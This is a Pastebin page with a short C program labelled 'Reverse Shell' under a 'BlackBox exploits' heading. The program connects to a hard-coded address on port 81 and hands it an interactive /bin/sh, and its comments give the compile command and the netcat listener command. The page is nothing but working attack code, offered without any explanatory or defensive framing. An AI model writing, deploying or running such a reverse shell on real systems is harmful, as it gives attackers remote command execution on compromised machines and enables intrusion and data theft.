Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- BlackBox exploits # cat revsh.c
- /* gcc -O2 revsh.c -o revsh */
- /* nc -l -p 81 */
- /********************************************
- * Reverse Shell *
- * Connects to MYADDR on PORT *
- * run "nc -l -p <PORT>" on remote computer *
- ********************************************/
- #include <stdio.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #define MYADDR "10.4.4.1"
- #define PORT 81
- int main(int argc, char *argv[])
- {
- int soc = socket(2, 1, 0);
- struct sockaddr_in addr;
- addr.sin_family = AF_INET;
- addr.sin_port = htons(PORT);
- addr.sin_addr.s_addr = inet_addr(MYADDR);
- connect(soc, (struct sockaddr *)&addr, sizeof(struct sockaddr));
- dup2(soc, 0);
- dup2(soc, 1);
- dup2(soc, 2);
- execve("/bin/sh", 0, 0);
- }
Add Comment
Please, Sign In to add comment